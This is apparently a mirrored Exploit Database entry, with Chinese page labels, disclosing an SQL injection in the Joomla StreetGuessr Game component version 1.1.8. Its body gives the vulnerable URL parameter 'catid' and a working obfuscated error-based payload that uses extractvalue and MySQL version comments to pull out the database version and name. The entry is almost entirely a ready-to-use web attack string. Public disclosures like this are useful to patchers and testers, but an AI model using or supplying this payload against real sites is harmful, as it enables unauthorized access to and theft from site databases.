Joomla! Component StreetGuessr Game 1.1.8 – SQL Injection

• Exploit Database
• 14 阅读

• 作者： Ihsan Sencan
  日期： 2017-08-03
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/42423/

• # # # # #
  # Exploit Title: Joomla! Component StreetGuessr Game v1.1.8 - SQL Injection
  # Dork: N/A
  # Date: 03.08.2017
  # Vendor : https://www.nordmograph.com/
  # Software: https://extensions.joomla.org/extensions/extension/sports-a-games/streetguessr-game/
  # Demo: https://www.streetguessr.com/en/component/streetguess/
  # Version: 1.1.8
  # # # # #
  # Author: Ihsan Sencan
  # # # # #
  # SQL Injection/Exploit :
  # http://localhost/[PATH]/index.php?option=com_streetguess&view=maps&catid=[SQL]
  # 0'+/*!11110procedure*/+/*!11110analyse*/+(/*!11110extractvalue*/(0x30,/*!11110concat*/(0x27,/*!11110@@version*/,0x7e,/*!11110database()*/)),0x30)--+-
  # Etc..
  # # # # #